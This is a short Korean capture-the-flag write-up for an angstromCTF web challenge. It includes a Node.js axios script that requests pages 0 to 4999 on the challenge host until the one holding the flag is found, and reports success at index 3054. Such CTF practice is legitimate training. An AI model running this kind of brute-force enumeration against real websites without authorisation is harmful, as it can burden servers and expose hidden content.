1. 개요
브루트 포스 문제
2. 분석
디렉토리 인덱스가 0~4999 주어지는데 그 중에 flag가 있는 것 같습니다.
flag가 없으면, 다음과 같이 나옵니다.
전부 호출하도록 코드를 작성했고, 약 10분정도 걸렸습니다. 참고로 동기로 호출하기 위해 await을 걸었습니다.
const axios = require('axios');
const getFlagByIndex = async (index) => {
const baseUrl = "https://directory.web.actf.co/"
const targetUrl = `${baseUrl}${index}.html`;
const response = await axios.get(targetUrl);
return response.data;
}
const startIndex = 0
const endIndex = 4999
const findFlag = async () => {
for (let i = startIndex; i <= endIndex; i++) {
try {
const flag = await getFlagByIndex(i);
if (flag !== "your flag is in another file") {
console.log("index", i, "flag", flag);
break;
}
console.log('index', i, 'flag not found', flag)
} catch (error) {
console.log("index", i, "error", error);
}
}
}
findFlag()
3054번째에서 flag를 찾았습니다.
'CTF' 카테고리의 다른 글
[angstromCTF 2023] Celeste Speedrunning Association (0) | 2023.04.29 |
---|---|
[BSidesSF 2023 CTF] prototype (0) | 2023.04.26 |
[BSidesSF 2023 CTF] web-tutorial-3 (0) | 2023.04.22 |
[BSidesSF 2023 CTF] web-tutorial-2 (0) | 2023.04.22 |
[BSidesSF 2023 CTF] web-tutorial-1 (0) | 2023.04.22 |